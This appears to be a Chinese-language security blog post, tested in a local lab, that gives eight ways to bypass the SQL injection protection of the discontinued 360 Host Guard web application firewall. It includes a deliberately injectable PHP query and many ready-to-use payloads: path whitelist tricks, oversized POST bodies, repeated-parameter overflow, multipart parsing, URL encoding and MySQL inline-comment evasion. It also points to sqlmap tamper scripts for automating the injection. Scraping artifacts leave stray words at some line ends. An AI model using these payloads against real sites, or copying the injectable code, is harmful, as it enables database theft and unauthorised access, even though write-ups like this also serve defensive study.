在服務器客戶端領域,曾經出現過一款 360 主機衛士,目前已中止更新和維護,官網都打不開了,但服務器中依然常常能夠看到它的身影。php
從半年前的測試虛擬機裏面,翻出了 360 主機衛士 Apache 版的安裝包,就當作是一個記念版吧。html
這邊主要分享一下幾種思路,Bypass 360 主機衛士 SQL 注入防護。sql
360 主機衛士官網:數據庫
http://zhuji.360.cn瀏覽器
軟件版本:360 主機衛士 Apache 記念版安全
測試環境:phpStudy
服務器
本地構造 SQL 注入點:工具
$id=$_REQUEST['id']; $query = "SELECT * FROM admin WHERE id = $id ";
因 zhuji.360.cn 站點已關閉,攔截界面爲空白,抓包先放一張攔截圖:post
姿式一:網站後臺白名單性能
在 360 主機衛士客戶端設置中存在默認網站後臺白名單,如圖:
利用 PHP 中的 PATH_INFO 問題,隨便挑選一個白名單加在後面,可成功 bypass。
/test.php/admin?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
姿式二:靜態資源
當文件後綴名爲 js、jpg、png 等靜態資源後綴請求,相似白名單機制,waf 爲了檢測效率,直接略過這樣一些靜態資源文件名後綴的請求。
/test.php/1.png?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
姿式三:緩衝區溢出
當 Post 大包時,WAF 在處理測試向量時超出了其緩衝區長度,超過檢測內容長度將會直接 Bypass,若是正經常使用戶上傳一些比較大的文件,WAF 每一個都檢測的話,性能就會被耗光。
基於這些考慮,POST 大包溢出的思路可成功 Bypass。
訪問下面的地址:
/test.php
POST數據以下:
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,schema_name from information_schema.SCHEMATA
姿式四:uri 參數溢出
這種溢出的形式,我稱它爲 uri 參數溢出。好比某 WAF,默認狀況下只能獲取前 100 個參數進行檢測,當提交第 101 個參數時,那麼,將沒法對攻擊者提交的第 100 個之後的參數進行有效安全檢測,從而繞過安全防護。
經測試,當提交的參數個數超過 97 個,可進行 union select 查詢,再增長對關鍵字 from 的繞過,可成功 Bypass。
訪問地址以下:
http://192.168.204.128/test.php
POST書籍以下:
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1
&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1
&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1
&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1
&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1
&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1
&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1 union select 1,2,schema_name %0a/!from/information_schema.SCHEMATA
姿式五:GET+POST
一個歷史久遠的邏輯問題了,當同時提交 GET、POST 請求時,進入 POST 邏輯,而忽略了 GET 請求的有害參數輸入,可輕易 Bypass。
訪問以下 URL:
/test.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
POST數據以下:
aaa
姿式六:multipart/form-data 格式
將 Post、Get 數據包轉爲上傳 multipart/form-data 格式數據包,利用協議解析的差別,從而繞過 SQL 防護。
------WebKitFormBoundaryACZoaLJJzUwc4hYM Content-Disposition: form-data; name="id" 1 union /* !select*/ 1,2,schema_name【這裏使用Enter換行】 from information_schema.SCHEMATA ------WebKitFormBoundaryACZoaLJJzUwc4hYM--
若是轉換數據包進行繞過呢?
首先,新建一個 html 頁面:
<html> <head></head> <body> <form action="http://192.168.204.128/test.php" method="post" enctype="multipart/form-data"> <input type="text" name="id"> <input type="submit"> </form> </body> </html>
而後,在瀏覽器打開並在輸入框中輸入參數,抓包發送到 Repeater,進一步構造 Payload
姿式七:編碼繞過
客戶端對 Payload 進行編碼,服務端可以自動進行解碼,這時候就考驗 WAF 的編碼解碼能力了,若是 WAF 不能進行有效解碼還原攻擊向量,可能致使繞過,
常見編碼如 URL 編碼、unicode 編碼(IIS)、寬字節編碼等。
這個地方雖然 URL 編碼也能繞過獲取數據,主要是由於 WAF 對 POST 的防護規則太過於鬆散,union select 隨便繞,select from 用 %0a 就能夠解決,
主要分享一下編碼繞過的思路。
/test.php?id=1
POST數據以下:
id=1 %55nion %53elect/* !1,2,schema_name %0aFROM information_schema.SCHEMATA* /
姿式八:%0a + 內聯註釋
利用 Mysql 數據庫的一些特性,繞過 WAF 的防護規則,最終在數據庫中成功執行了 SQL,獲取數據。
http://192.168.204.128/test.php
POST數據以下:
id=1 union%0a/* !12345select* / 1,2,schema_name%0a/* !12345from */information_schema.SCHEMATA
當測試出繞過 WAF SQL 注入防護的技巧後,可經過編寫 tamper 腳本實現自動化注入,
以姿式八:%0a+內聯註釋爲例,主要是針對 union select from 等關鍵字替換,Payload 中的部分關鍵字可能會被 waf 攔截,須要一步步調試,測試,總結規律。
tamper 腳本:
加載 tamper 腳本,可成功獲取數據
這邊也分享一下,另外一個比較簡單的自動化注入的方法,就是使用超級 SQL 注入工具,利用這邊提供的注入繞過模塊,
結合日誌中心的測試記錄,能夠很方便的進行調試,而後保存繞過模板,方便下次調用。
利用前面的關鍵字符進行替換,自動化注入獲取數據庫數據:
分享了幾種有意思的繞過思路,主要利用了 WAF 層的邏輯問題,數據庫層的一些特性,服務器層編碼解析、參數獲取的差別。其中借鑑和學習了很多前輩們的思路,受益不淺,學習,沉澱,總結,分享,周而復始。